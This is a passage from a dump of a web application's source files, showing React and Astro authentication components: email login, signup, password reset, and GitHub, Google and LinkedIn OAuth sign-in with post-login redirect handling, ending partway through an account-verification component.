    "content": "<div class='flex w-full items-center gap-2 py-6 text-sm text-slate-600'>\n  <div class='h-px w-full bg-slate-200'></div>\n  OR\n  <div class='h-px w-full bg-slate-200'></div>\n</div>\n"
  },
  {
    "path": "src/components/AuthenticationFlow/EmailLoginForm.tsx",
    "content": "import type { FormEvent } from 'react';\nimport { useId, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport {\n  COURSE_PURCHASE_PARAM,\n  FIRST_LOGIN_PARAM,\n  setAuthToken,\n} from '../../lib/jwt';\n\ntype EmailLoginFormProps = {\n  isDisabled?: boolean;\n  setIsDisabled?: (isDisabled: boolean) => void;\n};\n\nexport function EmailLoginForm(props: EmailLoginFormProps) {\n  const { isDisabled, setIsDisabled } = props;\n\n  const [email, setEmail] = useState<string>('');\n  const [password, setPassword] = useState<string>('');\n  const [error, setError] = useState('');\n\n  const [isLoading, setIsLoading] = useState<boolean>(false);\n\n  const handleFormSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    setError('');\n\n    const { response, error } = await httpPost<{\n      token: string;\n      isNewUser: boolean;\n    }>(`${import.meta.env.PUBLIC_API_URL}/v1-login`, {\n      email,\n      password,\n    });\n\n    // Log the user in and reload the page\n    if (response?.token) {\n      setAuthToken(response.token);\n\n      const currentLocation = window.location.href;\n      const url = new URL(currentLocation, window.location.origin);\n\n      url.searchParams.set(FIRST_LOGIN_PARAM, response?.isNewUser ? '1' : '0');\n      url.searchParams.set(COURSE_PURCHASE_PARAM, '1');\n\n      window.location.href = url.toString();\n      return;\n    }\n\n    // @todo use proper types\n    if ((error as any).type === 'user_not_verified') {\n      window.location.href = `/verification-pending?email=${encodeURIComponent(\n        email,\n      )}`;\n      return;\n    }\n\n    setIsLoading(false);\n    setIsDisabled?.(false);\n    setError(error?.message || 'Something went wrong. Please try again later.');\n  };\n\n  const emailFieldId = `form:${useId()}`;\n  const passwordFieldId = `form:${useId()}`;\n\n  return (\n    <form\n      className=\"w-full\"\n      onSubmit={handleFormSubmit}\n      suppressHydrationWarning={true} // Hubspot adds data-* attributes which causes hydration errors\n    >\n      <label htmlFor={emailFieldId} className=\"sr-only\">\n        Email address\n      </label>\n      <input\n        id={emailFieldId}\n        name=\"email\"\n        type=\"email\"\n        autoComplete=\"email\"\n        required\n        className=\"block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        placeholder=\"Email Address\"\n        value={email}\n        onInput={(e) => setEmail(String((e.target as any).value))}\n      />\n      <label htmlFor={passwordFieldId} className=\"sr-only\">\n        Password\n      </label>\n      <input\n        id={passwordFieldId}\n        name=\"password\"\n        type=\"password\"\n        autoComplete=\"current-password\"\n        required\n        className=\"mt-2 block w-full rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        placeholder=\"Password\"\n        value={password}\n        onInput={(e) => setPassword(String((e.target as any).value))}\n      />\n\n      <p className=\"mt-2 mb-3 text-sm text-gray-500\">\n        <a\n          href=\"/forgot-password\"\n          className=\"text-blue-800 hover:text-blue-600\"\n        >\n          Reset your password?\n        </a>\n      </p>\n\n      {error && (\n        <p className=\"mb-2 rounded-md bg-red-100 p-2 text-red-800\">{error}</p>\n      )}\n\n      <button\n        type=\"submit\"\n        disabled={isLoading || isDisabled}\n        className=\"inline-flex w-full items-center justify-center rounded-lg bg-black p-2 py-3 text-sm font-medium text-white outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-1 disabled:bg-gray-400\"\n      >\n        {isLoading ? 'Please wait...' : 'Continue'}\n      </button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/EmailSignupForm.tsx",
    "content": "import { type FormEvent, useEffect, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport {\n  deleteUrlParam,\n  getLastPath,\n  getUrlParams,\n  urlToId,\n} from '../../lib/browser';\nimport { isLoggedIn, setAIReferralCode } from '../../lib/jwt';\n\ntype EmailSignupFormProps = {\n  isDisabled?: boolean;\n  setIsDisabled?: (isDisabled: boolean) => void;\n};\n\nexport function EmailSignupForm(props: EmailSignupFormProps) {\n  const { isDisabled, setIsDisabled } = props;\n\n  const { rc: referralCode } = getUrlParams() as {\n    rc?: string;\n  };\n  const [email, setEmail] = useState('');\n  const [password, setPassword] = useState('');\n  const [name, setName] = useState('');\n\n  const [error, setError] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n\n  const onSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    setError('');\n\n    const { response, error } = await httpPost<{ status: 'ok' }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-register`,\n      {\n        email,\n        password,\n        name,\n        src: urlToId(getLastPath() || window.location.pathname),\n      },\n    );\n\n    if (error || response?.status !== 'ok') {\n      setIsLoading(false);\n      setIsDisabled?.(false);\n      setError(\n        error?.message || 'Something went wrong. Please try again later.',\n      );\n\n      return;\n    }\n\n    window.location.href = `/verification-pending?email=${encodeURIComponent(\n      email,\n    )}`;\n  };\n\n  useEffect(() => {\n    if (!referralCode || isLoggedIn()) {\n      deleteUrlParam('rc');\n      return;\n    }\n\n    setAIReferralCode(referralCode);\n    deleteUrlParam('rc');\n  }, []);\n\n  return (\n    <form className=\"flex w-full flex-col gap-2\" onSubmit={onSubmit}>\n      <label htmlFor=\"name\" className=\"sr-only\">\n        Name\n      </label>\n      <input\n        name=\"name\"\n        type=\"text\"\n        autoComplete=\"name\"\n        min={3}\n        max={50}\n        required\n        className=\"block w-full rounded-lg border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        placeholder=\"Full Name\"\n        value={name}\n        onInput={(e) => setName(String((e.target as any).value))}\n      />\n      <label htmlFor=\"email\" className=\"sr-only\">\n        Email address\n      </label>\n      <input\n        name=\"email\"\n        type=\"email\"\n        autoComplete=\"email\"\n        required\n        className=\"block w-full rounded-lg border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        placeholder=\"Email Address\"\n        value={email}\n        onInput={(e) => setEmail(String((e.target as any).value))}\n      />\n      <label htmlFor=\"password\" className=\"sr-only\">\n        Password\n      </label>\n      <input\n        name=\"password\"\n        type=\"password\"\n        autoComplete=\"current-password\"\n        min={6}\n        max={50}\n        required\n        className=\"block w-full rounded-lg border border-gray-300 px-3 py-2 outline-hidden placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        placeholder=\"Password\"\n        value={password}\n        onInput={(e) => setPassword(String((e.target as any).value))}\n      />\n\n      {error && (\n        <p className=\"rounded-lg bg-red-100 p-2 text-red-700\">{error}.</p>\n      )}\n\n      <button\n        type=\"submit\"\n        disabled={isLoading || isDisabled}\n        className=\"inline-flex w-full items-center justify-center rounded-lg bg-black p-2 py-3 text-sm font-medium text-white outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-1 disabled:bg-gray-400\"\n      >\n        {isLoading ? 'Please wait...' : 'Continue to Verify Email'}\n      </button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/ForgotPasswordForm.tsx",
    "content": "import { type FormEvent, useState } from 'react';\nimport { httpPost } from '../../lib/http';\n\nexport function ForgotPasswordForm() {\n  const [email, setEmail] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n  const [success, setSuccess] = useState('');\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n    setError('');\n\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-forgot-password`,\n      {\n        email,\n      }\n    );\n\n    setIsLoading(false);\n    if (error) {\n      setError(error.message);\n    } else {\n      setEmail('');\n      setSuccess('Check your email for a link to reset your password.');\n    }\n  };\n\n  return (\n    <form onSubmit={handleSubmit} className=\"w-full\">\n      <input\n        type=\"email\"\n        name=\"email\"\n        className=\"mt-2 block w-full appearance-none rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden transition duration-150 ease-in-out placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        required\n        placeholder=\"Email Address\"\n        value={email}\n        onInput={(e) => setEmail((e.target as HTMLInputElement).value)}\n      />\n\n      {error && (\n        <p className=\"mt-2 rounded-lg bg-red-100 p-2 text-sm text-red-700\">\n          {error}\n        </p>\n      )}\n\n      {success && (\n        <p className=\"mt-2 rounded-lg bg-green-100 p-2 text-sm text-green-700\">\n          {success}\n        </p>\n      )}\n\n      <button\n        type=\"submit\"\n        disabled={isLoading}\n        className=\"mt-3 inline-flex w-full items-center justify-center rounded-lg bg-black p-2 py-3 text-sm font-medium text-white outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-1 disabled:bg-gray-400\"\n      >\n        {isLoading ? 'Please wait...' : 'Continue'}\n      </button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/GitHubButton.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { GitHubIcon } from '../ReactIcons/GitHubIcon.tsx';\nimport {\n  FIRST_LOGIN_PARAM,\n  COURSE_PURCHASE_PARAM,\n  setAuthToken,\n} from '../../lib/jwt';\nimport { cn } from '../../lib/classname.ts';\nimport { httpGet } from '../../lib/http';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { CHECKOUT_AFTER_LOGIN_KEY } from './CourseLoginPopup.tsx';\nimport { getLastPath, triggerUtmRegistration, urlToId } from '../../lib/browser.ts';\n\ntype GitHubButtonProps = {\n  isDisabled?: boolean;\n  setIsDisabled?: (isDisabled: boolean) => void;\n  className?: string;\n};\n\nconst GITHUB_REDIRECT_AT = 'githubRedirectAt';\nconst GITHUB_LAST_PAGE = 'githubLastPage';\n\nexport function GitHubButton(props: GitHubButtonProps) {\n  const { isDisabled, setIsDisabled, className } = props;\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n    const code = urlParams.get('code');\n    const state = urlParams.get('state');\n    const provider = urlParams.get('provider');\n\n    if (!code || !state || provider !== 'github') {\n      return;\n    }\n\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    const lastPageBeforeGithub = localStorage.getItem(GITHUB_LAST_PAGE);\n\n    httpGet<{ token: string; isNewUser: boolean }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-github-callback${\n        window.location.search\n      }&src=${urlToId(lastPageBeforeGithub || getLastPath() || window.location.pathname)}`,\n    )\n      .then(({ response, error }) => {\n        if (!response?.token) {\n          const errMessage = error?.message || 'Something went wrong.';\n          setError(errMessage);\n          setIsLoading(false);\n          setIsDisabled?.(false);\n\n          return;\n        }\n\n        triggerUtmRegistration();\n\n        let redirectUrl = new URL('/', window.location.origin);\n        const gitHubRedirectAt = localStorage.getItem(GITHUB_REDIRECT_AT);\n\n        // If the social redirect is there and less than 30 seconds old\n        // redirect to the page that user was on before they clicked the github login button\n        if (gitHubRedirectAt && lastPageBeforeGithub) {\n          const socialRedirectAtTime = parseInt(gitHubRedirectAt, 10);\n          const now = Date.now();\n          const timeSinceRedirect = now - socialRedirectAtTime;\n\n          if (timeSinceRedirect < 30 * 1000) {\n            redirectUrl = new URL(lastPageBeforeGithub, window.location.origin);\n          }\n        }\n\n        const authRedirectUrl = localStorage.getItem('authRedirect');\n        if (authRedirectUrl) {\n          localStorage.removeItem('authRedirect');\n          redirectUrl = new URL(authRedirectUrl, window.location.origin);\n        }\n\n        localStorage.removeItem(GITHUB_REDIRECT_AT);\n        localStorage.removeItem(GITHUB_LAST_PAGE);\n        setAuthToken(response.token);\n\n        redirectUrl.searchParams.set(\n          FIRST_LOGIN_PARAM,\n          response?.isNewUser ? '1' : '0',\n        );\n\n        const shouldTriggerPurchase =\n          localStorage.getItem(CHECKOUT_AFTER_LOGIN_KEY) !== '0';\n\n        if (\n          redirectUrl.pathname.includes('/courses/sql') &&\n          shouldTriggerPurchase\n        ) {\n          redirectUrl.searchParams.set(COURSE_PURCHASE_PARAM, '1');\n          localStorage.removeItem(CHECKOUT_AFTER_LOGIN_KEY);\n        }\n\n        window.location.href = redirectUrl.toString();\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsLoading(false);\n        setIsDisabled?.(false);\n      });\n  }, []);\n\n  const handleClick = async () => {\n    setIsLoading(true);\n    setIsDisabled?.(true);\n\n    const { response, error } = await httpGet<{ loginUrl: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-github-login`,\n    );\n\n    if (error || !response?.loginUrl) {\n      setError(\n        error?.message || 'Something went wrong. Please try again later.',\n      );\n\n      setIsLoading(false);\n      setIsDisabled?.(false);\n      return;\n    }\n\n    // For non authentication pages, we want to redirect back to the page\n    // the user was on before they clicked the social login button\n    if (!['/login', '/signup'].includes(window.location.pathname)) {\n      const pagePath = [\n        '/respond-invite',\n        '/befriend',\n        '/r',\n        '/ai-roadmaps',\n      ].includes(window.location.pathname)\n        ? window.location.pathname + window.location.search\n        : window.location.pathname;\n\n      localStorage.setItem(GITHUB_REDIRECT_AT, Date.now().toString());\n      localStorage.setItem(GITHUB_LAST_PAGE, pagePath);\n    }\n\n    window.location.href = response.loginUrl;\n  };\n\n  return (\n    <>\n      <button\n        className={cn(\n          'inline-flex h-10 w-full items-center justify-center gap-2 rounded-sm border border-slate-300 bg-white p-2 text-sm font-medium text-black outline-hidden hover:border-gray-400 hover:bg-gray-50 focus:ring-2 focus:ring-[#333] focus:ring-offset-1 disabled:cursor-not-allowed disabled:opacity-60',\n          className,\n        )}\n        disabled={isLoading || isDisabled}\n        onClick={handleClick}\n      >\n        {isLoading ? (\n          <Spinner className={'h-[18px] w-[18px]'} isDualRing={false} />\n        ) : (\n          <GitHubIcon className={'h-[18px] w-[18px]'} />\n        )}\n        Continue with GitHub\n      </button>\n      {error && (\n        <p className=\"mb-2 mt-1 text-sm font-medium text-red-600\">{error}</p>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/GoogleButton.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport { FIRST_LOGIN_PARAM, setAuthToken } from '../../lib/jwt';\nimport { httpGet } from '../../lib/http';\nimport { COURSE_PURCHASE_PARAM } from '../../lib/jwt';\nimport { GoogleIcon } from '../ReactIcons/GoogleIcon.tsx';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { CHECKOUT_AFTER_LOGIN_KEY } from './CourseLoginPopup.tsx';\nimport { triggerUtmRegistration, urlToId, getLastPath } from '../../lib/browser.ts';\nimport { cn } from '../../lib/classname.ts';\n\ntype GoogleButtonProps = {\n  isDisabled?: boolean;\n  setIsDisabled?: (isDisabled: boolean) => void;\n  className?: string;\n};\n\nconst GOOGLE_REDIRECT_AT = 'googleRedirectAt';\nconst GOOGLE_LAST_PAGE = 'googleLastPage';\n\nexport function GoogleButton(props: GoogleButtonProps) {\n  const { isDisabled, setIsDisabled, className } = props;\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n    const code = urlParams.get('code');\n    const state = urlParams.get('state');\n    const provider = urlParams.get('provider');\n\n    if (!code || !state || provider !== 'google') {\n      return;\n    }\n\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    const lastPageBeforeGoogle = localStorage.getItem(GOOGLE_LAST_PAGE);\n\n    httpGet<{ token: string; isNewUser: boolean }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-google-callback${\n        window.location.search\n      }&src=${urlToId(lastPageBeforeGoogle || getLastPath() || window.location.pathname)}`,\n    )\n      .then(({ response, error }) => {\n        if (!response?.token) {\n          setError(error?.message || 'Something went wrong.');\n          setIsLoading(false);\n          setIsDisabled?.(false);\n\n          return;\n        }\n\n        triggerUtmRegistration();\n\n        let redirectUrl = new URL('/', window.location.origin);\n        const googleRedirectAt = localStorage.getItem(GOOGLE_REDIRECT_AT);\n\n        // If the social redirect is there and less than 30 seconds old\n        // redirect to the page that user was on before they clicked the github login button\n        if (googleRedirectAt && lastPageBeforeGoogle) {\n          const socialRedirectAtTime = parseInt(googleRedirectAt, 10);\n          const now = Date.now();\n          const timeSinceRedirect = now - socialRedirectAtTime;\n\n          if (timeSinceRedirect < 30 * 1000) {\n            redirectUrl = new URL(lastPageBeforeGoogle, window.location.origin);\n          }\n        }\n\n        const authRedirectUrl = localStorage.getItem('authRedirect');\n        if (authRedirectUrl) {\n          localStorage.removeItem('authRedirect');\n          redirectUrl = new URL(authRedirectUrl, window.location.origin);\n        }\n\n        redirectUrl.searchParams.set(\n          FIRST_LOGIN_PARAM,\n          response?.isNewUser ? '1' : '0',\n        );\n\n        const shouldTriggerPurchase =\n          localStorage.getItem(CHECKOUT_AFTER_LOGIN_KEY) !== '0';\n        if (\n          redirectUrl.pathname.includes('/courses/sql') &&\n          shouldTriggerPurchase\n        ) {\n          redirectUrl.searchParams.set(COURSE_PURCHASE_PARAM, '1');\n\n          localStorage.removeItem(CHECKOUT_AFTER_LOGIN_KEY);\n        }\n\n        localStorage.removeItem(GOOGLE_REDIRECT_AT);\n        localStorage.removeItem(GOOGLE_LAST_PAGE);\n        setAuthToken(response.token);\n\n        window.location.href = redirectUrl.toString();\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsLoading(false);\n        setIsDisabled?.(false);\n      });\n  }, []);\n\n  const handleClick = () => {\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    httpGet<{ loginUrl: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-google-login`,\n    )\n      .then(({ response, error }) => {\n        if (!response?.loginUrl) {\n          setError(error?.message || 'Something went wrong.');\n          setIsLoading(false);\n          setIsDisabled?.(false);\n\n          return;\n        }\n\n        // For non authentication pages, we want to redirect back to the page\n        // the user was on before they clicked the social login button\n        if (!['/login', '/signup'].includes(window.location.pathname)) {\n          const pagePath = [\n            '/respond-invite',\n            '/befriend',\n            '/r',\n            '/ai-roadmaps',\n          ].includes(window.location.pathname)\n            ? window.location.pathname + window.location.search\n            : window.location.pathname;\n\n          localStorage.setItem(GOOGLE_REDIRECT_AT, Date.now().toString());\n          localStorage.setItem(GOOGLE_LAST_PAGE, pagePath);\n        }\n\n        window.location.href = response.loginUrl;\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsLoading(false);\n        setIsDisabled?.(false);\n      });\n  };\n\n  return (\n    <>\n      <button\n        className={cn(\n          'inline-flex h-10 w-full items-center justify-center gap-2 rounded-sm border border-slate-300 bg-white p-2 text-sm font-medium text-black outline-hidden hover:border-gray-400 hover:bg-gray-50 focus:ring-2 focus:ring-[#333] focus:ring-offset-1 disabled:cursor-not-allowed disabled:opacity-60',\n          className,\n        )}\n        disabled={isLoading || isDisabled}\n        onClick={handleClick}\n      >\n        {isLoading ? (\n          <Spinner className={'h-[18px] w-[18px]'} isDualRing={false} />\n        ) : (\n          <GoogleIcon className={'h-[18px] w-[18px]'} />\n        )}\n        Continue with Google\n      </button>\n      {error && (\n        <p className=\"mb-2 mt-1 text-sm font-medium text-red-600\">{error}</p>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/LinkedInButton.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport {\n  FIRST_LOGIN_PARAM,\n  COURSE_PURCHASE_PARAM,\n  setAuthToken,\n} from '../../lib/jwt';\nimport { cn } from '../../lib/classname.ts';\nimport { httpGet } from '../../lib/http';\nimport { LinkedInIcon } from '../ReactIcons/LinkedInIcon.tsx';\nimport { Spinner } from '../ReactIcons/Spinner.tsx';\nimport { CHECKOUT_AFTER_LOGIN_KEY } from './CourseLoginPopup.tsx';\nimport { getLastPath, triggerUtmRegistration, urlToId } from '../../lib/browser.ts';\n\ntype LinkedInButtonProps = {\n  isDisabled?: boolean;\n  setIsDisabled?: (isDisabled: boolean) => void;\n  className?: string;\n};\n\nconst LINKEDIN_REDIRECT_AT = 'linkedInRedirectAt';\nconst LINKEDIN_LAST_PAGE = 'linkedInLastPage';\n\nexport function LinkedInButton(props: LinkedInButtonProps) {\n  const { isDisabled, setIsDisabled, className } = props;\n\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n    const code = urlParams.get('code');\n    const state = urlParams.get('state');\n    const provider = urlParams.get('provider');\n\n    if (!code || !state || provider !== 'linkedin') {\n      return;\n    }\n\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    const lastPageBeforeLinkedIn = localStorage.getItem(LINKEDIN_LAST_PAGE);\n\n    httpGet<{ token: string; isNewUser: boolean }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-linkedin-callback${\n        window.location.search\n      }&src=${urlToId(lastPageBeforeLinkedIn || getLastPath() || window.location.pathname)}`,\n    )\n      .then(({ response, error }) => {\n        if (!response?.token) {\n          setError(error?.message || 'Something went wrong.');\n          setIsLoading(false);\n          setIsDisabled?.(false);\n\n          return;\n        }\n\n        triggerUtmRegistration();\n\n        let redirectUrl = new URL('/', window.location.origin);\n        const linkedInRedirectAt = localStorage.getItem(LINKEDIN_REDIRECT_AT);\n\n        // If the social redirect is there and less than 30 seconds old\n        // redirect to the page that user was on before they clicked the github login button\n        if (linkedInRedirectAt && lastPageBeforeLinkedIn) {\n          const socialRedirectAtTime = parseInt(linkedInRedirectAt, 10);\n          const now = Date.now();\n          const timeSinceRedirect = now - socialRedirectAtTime;\n\n          if (timeSinceRedirect < 30 * 1000) {\n            redirectUrl = new URL(\n              lastPageBeforeLinkedIn,\n              window.location.origin,\n            );\n          }\n        }\n\n        const authRedirectUrl = localStorage.getItem('authRedirect');\n        if (authRedirectUrl) {\n          localStorage.removeItem('authRedirect');\n          redirectUrl = new URL(authRedirectUrl, window.location.origin);\n        }\n\n        redirectUrl.searchParams.set(\n          FIRST_LOGIN_PARAM,\n          response?.isNewUser ? '1' : '0',\n        );\n\n        const shouldTriggerPurchase =\n          localStorage.getItem(CHECKOUT_AFTER_LOGIN_KEY) !== '0';\n        if (\n          redirectUrl.pathname.includes('/courses/sql') &&\n          shouldTriggerPurchase\n        ) {\n          redirectUrl.searchParams.set(COURSE_PURCHASE_PARAM, '1');\n          localStorage.removeItem(CHECKOUT_AFTER_LOGIN_KEY);\n        }\n\n        localStorage.removeItem(LINKEDIN_REDIRECT_AT);\n        localStorage.removeItem(LINKEDIN_LAST_PAGE);\n        setAuthToken(response.token);\n\n        window.location.href = redirectUrl.toString();\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsLoading(false);\n        setIsDisabled?.(false);\n      });\n  }, []);\n\n  const handleClick = () => {\n    setIsLoading(true);\n    setIsDisabled?.(true);\n    httpGet<{ loginUrl: string }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-linkedin-login`,\n    )\n      .then(({ response, error }) => {\n        if (!response?.loginUrl) {\n          setError(error?.message || 'Something went wrong.');\n          setIsLoading(false);\n          setIsDisabled?.(false);\n\n          return;\n        }\n\n        // For non authentication pages, we want to redirect back to the page\n        // the user was on before they clicked the social login button\n        if (!['/login', '/signup'].includes(window.location.pathname)) {\n          const pagePath = [\n            '/respond-invite',\n            '/befriend',\n            '/r',\n            '/ai-roadmaps',\n          ].includes(window.location.pathname)\n            ? window.location.pathname + window.location.search\n            : window.location.pathname;\n\n          localStorage.setItem(LINKEDIN_REDIRECT_AT, Date.now().toString());\n          localStorage.setItem(LINKEDIN_LAST_PAGE, pagePath);\n        }\n\n        window.location.href = response.loginUrl;\n      })\n      .catch((err) => {\n        setError('Something went wrong. Please try again later.');\n        setIsLoading(false);\n        setIsDisabled?.(false);\n      });\n  };\n\n  return (\n    <>\n      <button\n        className={cn(\n          'inline-flex h-10 w-full items-center justify-center gap-2 rounded-sm border border-slate-300 bg-white p-2 text-sm font-medium text-black outline-hidden hover:border-gray-400 focus:ring-2 focus:ring-[#333] focus:ring-offset-1 disabled:cursor-not-allowed disabled:opacity-60',\n          className,\n        )}\n        disabled={isLoading || isDisabled}\n        onClick={handleClick}\n      >\n        {isLoading ? (\n          <Spinner className={'h-[18px] w-[18px]'} isDualRing={false} />\n        ) : (\n          <LinkedInIcon className={'h-[18px] w-[18px] text-blue-700'} />\n        )}\n        Continue with LinkedIn\n      </button>\n      {error && (\n        <p className=\"mb-2 mt-1 text-sm font-medium text-red-600\">{error}</p>\n      )}\n    </>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/LoginPopup.astro",
    "content": "---\nimport Popup from '../Popup/Popup.astro';\nimport { AccountTerms } from '../AccountTerms';\nimport { AuthenticationForm } from './AuthenticationForm';\n---\n\n<Popup id='login-popup' title='' subtitle=''>\n  <div class='mb-7 text-center'>\n    <p class='mb-3 text-2xl leading-5 font-semibold text-slate-900'>\n      Login or Signup\n    </p>\n    <p class='mt-2 text-sm leading-4 text-slate-600'>\n      You must be logged in to perform this action.\n    </p>\n  </div>\n  <AuthenticationForm client:load />\n  <div\n    class='mt-3 w-full rounded-md border py-2 text-center text-sm text-slate-600'\n  >\n    Don't have an account?{' '}\n    <a\n      href='/signup'\n      class='font-medium text-blue-700 hover:text-blue-600 hover:underline'\n    >\n      Sign up\n    </a>\n  </div>\n\n  <AccountTerms />\n</Popup>\n"
  },
  {
    "path": "src/components/AuthenticationFlow/ResetPasswordForm.tsx",
    "content": "import { type FormEvent, useEffect, useState } from 'react';\nimport { httpPost } from '../../lib/http';\nimport Cookies from 'js-cookie';\nimport { TOKEN_COOKIE_NAME, setAuthToken } from '../../lib/jwt';\n\nexport function ResetPasswordForm() {\n  const [code, setCode] = useState('');\n  const [password, setPassword] = useState('');\n  const [passwordConfirm, setPasswordConfirm] = useState('');\n  const [isLoading, setIsLoading] = useState(false);\n  const [error, setError] = useState('');\n\n  useEffect(() => {\n    const urlParams = new URLSearchParams(window.location.search);\n    const code = urlParams.get('code');\n\n    if (!code) {\n      window.location.href = '/login';\n    } else {\n      setCode(code);\n    }\n  }, []);\n\n  const handleSubmit = async (e: FormEvent<HTMLFormElement>) => {\n    e.preventDefault();\n    setIsLoading(true);\n\n    if (password !== passwordConfirm) {\n      setIsLoading(false);\n      setError('Passwords do not match.');\n      return;\n    }\n\n    const { response, error } = await httpPost(\n      `${import.meta.env.PUBLIC_API_URL}/v1-reset-forgotten-password`,\n      {\n        newPassword: password,\n        confirmPassword: passwordConfirm,\n        code,\n      },\n    );\n\n    if (error?.message) {\n      setIsLoading(false);\n      setError(error.message);\n      return;\n    }\n\n    if (!response?.token) {\n      setIsLoading(false);\n      setError('Something went wrong. Please try again later.');\n      return;\n    }\n\n    const token = response.token;\n    setAuthToken(response.token);\n    window.location.href = '/';\n  };\n\n  return (\n    <form className=\"mx-auto w-full\" onSubmit={handleSubmit}>\n      <input\n        type=\"password\"\n        className=\"mb-2 mt-2 block w-full appearance-none rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden transition duration-150 ease-in-out placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        required\n        minLength={6}\n        placeholder=\"New Password\"\n        value={password}\n        onInput={(e) => setPassword((e.target as HTMLInputElement).value)}\n      />\n\n      <input\n        type=\"password\"\n        className=\"mt-2 block w-full appearance-none rounded-lg border border-gray-300 px-3 py-2 shadow-xs outline-hidden transition duration-150 ease-in-out placeholder:text-gray-400 focus:ring-2 focus:ring-black focus:ring-offset-1\"\n        required\n        minLength={6}\n        placeholder=\"Confirm New Password\"\n        value={passwordConfirm}\n        onInput={(e) =>\n          setPasswordConfirm((e.target as HTMLInputElement).value)\n        }\n      />\n\n      {error && (\n        <p className=\"mt-2 rounded-lg bg-red-100 p-2 text-red-700\">{error}</p>\n      )}\n\n      <button\n        type=\"submit\"\n        disabled={isLoading}\n        className=\"mt-2 inline-flex w-full items-center justify-center rounded-lg bg-black p-2 py-3 text-sm font-medium text-white outline-hidden focus:ring-2 focus:ring-black focus:ring-offset-1 disabled:bg-gray-400\"\n      >\n        {isLoading ? 'Please wait...' : 'Reset Password'}\n      </button>\n    </form>\n  );\n}\n"
  },
  {
    "path": "src/components/AuthenticationFlow/TriggerVerifyAccount.tsx",
    "content": "import { useEffect, useState } from 'react';\nimport Cookies from 'js-cookie';\nimport { httpPost } from '../../lib/http';\nimport {\n  FIRST_LOGIN_PARAM,\n  TOKEN_COOKIE_NAME,\n  setAuthToken,\n} from '../../lib/jwt';\nimport { Spinner } from '../ReactIcons/Spinner';\nimport { ErrorIcon2 } from '../ReactIcons/ErrorIcon2';\nimport { triggerUtmRegistration } from '../../lib/browser.ts';\n\nexport function TriggerVerifyAccount() {\n  const [isLoading, setIsLoading] = useState(true);\n  const [error, setError] = useState('');\n\n  const triggerVerify = (code: string) => {\n    setIsLoading(true);\n\n    httpPost<{ token: string; isNewUser: boolean }>(\n      `${import.meta.env.PUBLIC_API_URL}/v1-verify-account`,\n      {\n        code,\n      },\n    )\n      .then(({ response, error }) => {\n        if (!response?.token) {\n          setError(error?.message || 'Something went wrong. Please try again.');\n          setIsLoading(false);\n\n          return;\n        }\n\n        triggerUtmRegistration();\n\n        setAuthToken(response.token);\n\n        const url = new URL('/', window.location.origin);\n        url.searchParams.set(\n          FIRST_LOGIN_PARAM,\n          response?.isNewUser ? '1' : 